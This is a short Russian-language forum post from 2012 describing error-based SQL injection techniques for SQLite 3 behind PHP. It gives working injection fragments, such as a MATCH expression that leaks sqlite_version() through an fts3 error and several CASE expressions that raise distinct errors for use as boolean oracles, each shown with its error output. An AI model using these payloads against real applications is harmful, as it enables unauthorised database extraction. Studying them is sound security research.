Старый 13.06.2012, 10:28   #1
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию SQLite 3 error-based injection

Немного информации по error-based в sqlite.

Особенности:
В PHP Warning при ошибке во время исполнения запроса осмысленный текст попадает только в "exec".
В "query" и "querySingle" отдается "Unable to execute statement: SQL logic error or missing database".

Ошибки с выводом информации:
Только для таблиц fts3/fts4 (http://www.mailinglistarchive.com/ht.../msg00666.html)
Код:
CREATE VIRTUAL TABLE t1 USING fts3(x);
SELECT * FROM t1 WHERE t1 MATCH '"'||sqlite_version();

malformed MATCH expression: ["3.6.23.1]
Ошибки во время выполнения запроса:
Код:
select case when 1=2 then 1 else 1 like 1 escape 11 end;
Error: ESCAPE expression must be a single character
Код:
select case when 1=2 then 1 else 1 like randomblob(50001) end;
Error: LIKE or GLOB pattern too complex
В случае обычных таблиц (не fts3/4)
Код:
select case when 1=2 then 1 else match(1,1) end;
Error: unable to use function MATCH in the requested context
На счет наличия функции rtreedepth в php_sqlite3 не уверен
Код:
select case when 1=2 then 1 else rtreedepth(1) end;
Error: Invalid argument to rtreedepth()

Последний раз редактировалось BlackFan; 13.06.2012 в 10:31..
BlackFan вне форума   Ответить с цитированием
Ответ

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2017, Jelsoft Enterprises Ltd. Перевод: zCarot